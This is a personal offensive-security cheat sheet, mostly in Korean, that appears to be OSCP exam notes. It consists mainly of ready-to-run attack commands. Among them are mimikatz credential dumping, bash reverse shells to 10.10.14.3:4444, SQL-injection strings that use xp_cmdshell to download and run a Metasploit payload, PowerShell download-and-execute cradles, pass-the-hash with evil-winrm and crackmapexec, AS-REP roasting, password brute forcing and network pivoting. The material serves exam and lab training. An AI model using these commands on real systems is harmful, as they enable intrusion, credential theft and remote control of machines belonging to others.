### nmap scanning option
-sV : 서비스/버전 탐색
-sC : 기본 스크립트로 대상 스캔

-O : OS 탐색 허용
-A : 공격적 스캔(OS 감지, 버전 감지, 스크립트 스캔, 경로추적)
-T1~5 : 탐색 속도 설정(클수록 빠름)
sudo nmap -v -sC -sV [target_ip]
nmap -v -A- O [target_ip]
namp -v --script vuln [target_ip]
###

# 서브 도메인 찾기


##
./windows-exploit-suggester --update
./windows-exploit-suggester --database 2023-06-06-mssb.xls --systeminfo sysinfo.txt

### Windows 파일 검색
[cmd]
dir /s [찾는 파일 명]
[powershell]
dir [경로] -recurse -filter *.txt
-recurse : 하위 폴더까지 검색
-Filter : 필터링
###

ㅁ mimikatz 명령어 옵션
mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
lsadump::secrets

참고 : https://tggg23.tistory.com/36


### PowerVIew.ps1 명령어 옵션
Import-module .\PowerView.ps1
Get-netuser | select cn

참고 : https://book.hacktricks.xyz/windows-hardening/basic-powershell-for-pentesters/powerview
###


### PowerUp.ps1 명령어 옵션
certutil.exe -urlcache -split -f "http://192.168.45.231/PowerUp.ps1"
PS C:\Users\chris\Desktop> Get-UnquotedService

PS . .\PowerUp.ps1
###


### Active Directory 관련 기술들 잘 익히기 ###
Active Directory Lateral Movement Techniques
- PsExec
- Pass the Hash
- Overpass the Hash
- Pass the Ticket
- DCOM

Active Driectory Persistence
 - Golden Ticket
 - Shadow Copies


###active smb-server###
kali@kali : impacket-smbserver share . -smb2support -username <kali> -password <kali>
impacket-smbserver share . -smb2support -username kali -password kali

On windows
net use \\192.168.45.x\share /user:<name> <password>
net use x: \\192.168.45.195\share /user:kali kali

copy \\<kali ip>\share\<file path> C:\Users\Public\<file path>

*** mysql, active reverse shell 
a'; EXEC xp_cmdshell "curl http://192.168.45.216/reverse_msf.exe  -o C:/Windows/Temp/reverse_msf.exe";--
a';EXEC xp_cmdshell "C:/Windows/Temp/reverse_msf.exe";--//

###

### reverer shell script 적을때 ###
os.system('bash -c "bash -i >& /dev/tcp/10.10.14.3/4444 0>&1"')

1) curl -G --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/10.10.14.3/4444 0>&1"' [URL]
2) cmd=bash -c "bash -i >& /dev/tcp/10.10.14.3/4444 0>&1"

cheat sheet list
https://docs.gorigorisensei.com/
https://github.com/0xsyr0/OSCP
###

### Powershell 다운로드 script
1) DownloadFile
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.14.30:9005/40564.exe', 'c:\Users\Public\Downloads\40564.exe')"
2) downloadstring(메모리상에 다운, 바로 실행 됨)
powershell iex(new-object net.webclient).downloadstring('http://10.10.14.11/Get-MSOLCredentials.ps1')
###

### Search exploit module
1) metasploit(Only 1 use in exam!!!!!)
local_exploit_suggester
use post/multi/recon/local_exploit_suggester

2) windows-exploit-suggester.py
python2 windows-exploit-suggester.py --database 2024-08-29-mssb.xls --systeminfo /home/kali/HTB/workstation/Arctic/info.txt
####


### Chisel
[Local port fowarding] - 127.0.0.1:8000 같은 내부 서버에 접속 할 때 사용
kali@kali:~/Tools$ ./chisel64 server --reverse --port 8080
anita@demo:~$ ./chisel64 client 192.168.45.216:8080 R:8000:127.0.0.1:8000
###


### ligolo-ng
certutil.exe -urlcache -split -f http://192.168.45.233/ligolo_win/agent.exe"

sudo ip tuntap add user kali mode tun ligolo
sudo ip link set ligolo up

<Kali>
ligolo-proxy -selfcert
<Target_Win>
./agent.exe -connect <Kali IP>:11601 -ignore-cert

listener_add --addr 0.0.0.0:11601 --to 127.0.0.1:11601

sudo ip route add <Internal_Network> dev ligolo
-> sudo ip route add 10.10.163.0/24 dev ligolo
-> sudo nmap -v -A -O 10.10.163.148
###

### impacket-script

1) impacket-GetNPUsers
impacket-GetNPUsers 'EGOTISTICAL-BANK.LOCAL'/fsmith -dc-ip 10.10.10.175 -request -no-pass -outputfile hashes.asreproast
sudo hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

2) impacket-secretsdump
impacket-secretsdump -sam SAM -system SYSTEM local
-> kali@kali:~/Tools$ proxychains evil-winrm -i 10.10.157.140 -u tom_admin -H 4979d69d4ca66955c075c41cf45f24dc
-> crackmapexec smb[protocol] 10.10.160.0/24 -u tom_admin -H [Hash] -d [domain] --continue-on-success

***Cracking Net-NTLM2(Use responder)
kali@kali:~/OSCP/Challenge/OSCP_B/AD$ sudo responder -I tun0 -v
INPUT parameter
file://192.168.45.231/test

3) impacket-smbserver


###


## [[Spawn Shell]]
python3 -c 'import pty;pty.spawn("/bin/bash")'
python -c "import pty;pty.spawn('/bin/bash')"


## Web directory search(feroxbuster)
feroxbuster -u http://10.10.10.43 -w /usr/share/wordlists/dirb/directory-list-2.3-medium.txt -C 404 -x cgi,php,txt
feroxbuster -k -u https://10.10.10.43 -w /usr/share/wordlists/dirb/directory-list-2.3-medium.txt -C 404 -x cgi,php,txt
-k : ignore https

##Fuzz SubDomain
ffuf -u http://board.htb/ -c -w '/usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt' -H "Host: FUZZ.board.htb" -fw 6243



** grep -r -i db_name /var 2>/dev/null

ldapsearch -H ldap://10.10.10.161 -x -b DC=htb,DC=local
ldapsearch -H ldap://10.10.10.161 -x -b DC=htb,DC=local "(objectClass=person)" | grep "sAMAccountName"


### OS ###
#### Linux Privilege ####
1) OS information
uname -a
hostname
/etc/os-release

https://book.hacktricks.xyz/linux-hardening/bypass-bash-restrictions

#### Windows Privilege ####
### check powershell history
Get-History
(Get-PSReadlineOption).HistorySavePath

Get-Process
Get-Process [Process Name] | format-list *

PS C:\Users\chris\Desktop> Get-CimInstance -ClassName win32_service | Select Name,State,PathName

crackmapexec smb targets.txt -u users.txt -p passwords.txt -d MEDTECH.COM --continue-on-success | grep "Pwn3d\!"

hydra -l offsec -P /usr/share/wordlists/rockyou.txt ssh://192.168.156.122

**use crackmapexec or netexec
crackmapexec smb[protocol] 10.10.191.0/24 -u administrator -H [Hash] -d [domain] --continue-on-success
crackmapexec smb 10.10.191.0/24 -u administrator -p "hghgib6vHT3bVWf" --local-auth



### SSH port fowarding
ssh -N -L 8000:127.0.0.1:8000 dev@192.168.206.150
ssh -L 5901:127.0.0.1:5901 charix@10.10.10.84

### .git file exploit
git restore .
git log
git show <commit ID>

### decrypt zip file
zip2john sitebackup3.zip > zip.hash
-> extract zip2 hash
hashcat -m 13600 test.txt /usr/share/wordlists/rockyou.txt
7z x sitebackup3.zip



### snmp enumeration
1.3.6.1.2.1.25.1.6.0 System Processes
1.3.6.1.2.1.25.4.2.1.2 Running Programs
1.3.6.1.2.1.25.4.2.1.4 Processes Path
1.3.6.1.2.1.25.2.3.1.4 Storage Units
1.3.6.1.2.1.25.6.3.1.2 Software Name
1.3.6.1.4.1.77.1.2.25 User Accounts
1.3.6.1.2.1.6.13.1.3 TCP Local Ports

snmpwalk -c public -v1 192.168.50.151 1.3.6.1.2.1.6.13.1.3
snmpwalk -c public -v1 192.168.50.151 1.3.6.1.4.1.77.1.2.25
snmpwalk -c public -v1 192.168.197.149 NET-SNMP-EXTEND-MIB::nsExtendObjects

https://book.hacktricks.xyz/network-services-pentesting/pentesting-snmp


impacket-mssqlclient sql_svc:Dolphin1@10.10.163.148 -windows-auth

### xp_cmdshell 
xp_cmdshell powershell iwr -uri http://10.10.163.147:80/test.txt -Outfile C:\Users\Public\test.txt

* Using reverseshell generator, get the shell.
xp_cmdshell powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMA



iwr -uri http://10.10.163.147:80/PrintSpoofer64.exe -Outfile C:\Users\Public\PrintSpoofer64.exe

### File Transfer for hacker
https://juggernaut-sec.com/windows-file-transfers-for-hackers/
Dear learners,
Since this topic was the most frequently asked questions, we decided to share some tips and tricks about it:
1) SMB: 
On Kali:
impacket-smbserver test . -smb2support  -username kourosh -password kourosh

On Windows:
net use m: \\Kali_IP\test /user:kourosh kourosh
copy mimikatz.log m:\

2) RDP mounting shared folder:
Using xfreerdp:
xfreerdp /cert-ignore /compression /auto-reconnect /u:
offsec /p:lab /v:192.168.212.250 /w:1600 /h:800 /drive:test,/home/kali/Documents/pen-200

On windows:
copy mimikatz.log \\tsclient\test\mimikatz.log

Using rdesktop:
On Kali: 
rdesktop -z -P -x m -u offsec -p lab 192.168.212.250 -r disk:test=/home/kali/Documents/pen-200
On Windows:
copy mimikatz.log \\tsclient\test\mimikatz.log

3) Evil-winrm:
Uploading files:
upload mimikatz.exe C:\windows\tasks\mimikatz.exe
Downloading files:
download mimikatz.log /home/kali/Documents/pen-200

4) In FTP, binaries in ASCII mode will make the file not executable. Set the mode to binary.

Windows File Transfers For Hackers
https://juggernaut-sec.com/windows-file-transfers-for-hackers/

Additional Resources:
File Transfer:  https://www.youtube.com/watch?v=kd0sZWI6Blc

Linux previlege escalation
https://sirensecurity.io/blog/linux-privilege-escalation-resources/

Reverse Shell Cheet Sheet
https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Unix binary(bypass local system)

I have shared this in the study group session but will reshare it in here. You could use the following methodology:
Web Application fingerprinting
1) Meta files => Robots.txt and sitemap.xml, CHANGELOG, .git, README
2) Web app stack and technology =>  Wappalyzer (addon), builtwith (addon), whatweb
HTTP headers
CMS pentesting => Plugin, Users, themes
Cloning open source CMS from github
3) Source code => Loaded files + comments
4) Virtual Hosting
5) Dirbusting:
gobuster dir -u $url -w /usr/share/wordlists/dirb/common.txt -t 5 -b 301 --no-error -x html,txt -o dir80.txt -r -x .xml,.php,.txt
5) Vulnerability scanners => Nikto, Nuclei and etc
6) Web application functionality
7) Fuzzing and manual testing
Suggestive parameters

좋은 사이트.
https://juicemon-code.github.io/



FAQ! (During exam)
proctoring@offsec.com

+ Recent posts